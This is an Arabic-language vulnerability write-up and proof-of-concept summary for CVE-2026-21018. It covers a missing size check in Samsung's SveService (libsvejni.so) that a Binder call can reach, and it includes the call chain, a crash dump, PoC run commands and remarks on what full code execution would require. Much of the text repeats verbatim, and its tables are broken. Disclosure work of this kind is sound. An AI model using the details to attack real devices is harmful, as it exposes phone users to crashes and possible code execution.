
إثبات مفهوم (PoC) بسيط لـ CVE-2026-21018، يوضح كيفية عمله.
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
Affected versions: Android 14, 15, 16
Disclosure status: Privately disclosed
Out-of-bounds write in SveService prior to SMR May-2026 Release 1 allows local privileged attackers to execute arbitrary code.
The patch adds proper input validation.
ثغرة تجاوز سعة المخزن المؤقت في خدمة النظام SveService (com.sec.sve) على أجهزة سامسونج التي تعمل بنظام Android 16. تعمل الخدمة كمستخدم system (UID 1000) ويمكن الوصول إليها بدون أي إذن خاص عبر Binder.
| المكوّن | الدور | الإصدار |
|---|---|---|
sveservice.apk | خدمة أندرويد | API 36 |
libsvejni.so | مكتبة ARM64 أصلية | معرّف البناء: 0a71afa45f8688b4314ed8e5a0aea8b9 |
في الدالة sveJNISVE_SetCodecInfo (libsvejni.so:0x21710)، تُمرَّر المعاملات i18 وi19 وi20 (المستلمة من AIDL بصيغة i106/i107/i108، TRANSACTION_sveSetCodecInfo = 38) مباشرة إلى memset وsub sp, sp, xN (alloca) وmemcpy بدون أي تحقق من الحجم.
الدوال المماثلة (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) تتحقق باستخدام cmp w20, #0x1e; b.gt (ترفض > 30 بايت). بينما لا تقوم SetCodecInfo بأي تحقق على الإطلاق.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
المخرجات المتوقعة:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() عبر app_process يعمل بصلاحيات shell UID.signatureOrSystem غير مُفعّل — الخدمة مسجلة عبر ServiceManager.addService() مباشرة، متجاوزةً آلية أذونات أندرويد.memset بقيمة 0xFFFFFFFF يسبب انهيارًا دائمًا. يتطلب RCE تسريب عنوان + ROP (PAC غير موجود على SM-A175F).ثغرة تجاوز سعة المخزن المؤقت في خدمة النظام SveService (com.sec.sve) على أجهزة سامسونج التي تعمل بنظام Android 16. تعمل الخدمة كمستخدم system (UID 1000) ويمكن الوصول إليها بدون أي إذن خاص عبر Binder.
| المكوّن | الدور | الإصدار |
|---|---|---|
sveservice.apk | خدمة أندرويد | API 36 |
libsvejni.so | مكتبة ARM64 أصلية | معرّف البناء: 0a71afa45f8688b4314ed8e5a0aea8b9 |
في الدالة sveJNISVE_SetCodecInfo (libsvejni.so:0x21710)، تُمرَّر المعاملات i18 وi19 وi20 (المستلمة من AIDL بصيغة i106/i107/i108، TRANSACTION_sveSetCodecInfo = 38) مباشرة إلى memset وsub sp, sp, xN (alloca) وmemcpy بدون أي تحقق من الحجم.
الدوال المماثلة (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) تتحقق باستخدام cmp w20, #0x1e; b.gt (ترفض > 30 بايت). بينما لا تقوم SetCodecInfo بأي تحقق على الإطلاق.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
المخرجات المتوقعة:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() عبر app_process يعمل بصلاحيات shell UID.signatureOrSystem غير مُفعّل — الخدمة مسجلة عبر ServiceManager.addService() مباشرة، متجاوزةً آلية أذونات أندرويد.memset بقيمة 0xFFFFFFFF يسبب انهيارًا دائمًا. يتطلب RCE تسريب عنوان + ROP (PAC غير موجود على SM-A175F).| العملية | القيمة | التأثير |
|---|
(i18 + 15) & ~15 | 0 | يخصّص 0 بايت |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | يحاول تصفير 4 جيجابايت → SIGSEGV |
sxtw(i18) لـ memcpy | 0xFFFFFFFFFFFFFFFF | توسيع إشارة لـ -1 → ~18 إكسابايت |
| العملية | القيمة | التأثير |
|---|
(i18 + 15) & ~15 | 0 | يخصّص 0 بايت |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | يحاول تصفير 4 جيجابايت → SIGSEGV |
sxtw(i18) لـ memcpy | 0xFFFFFFFFFFFFFFFF | توسيع إشارة لـ -1 → ~18 إكسابايت |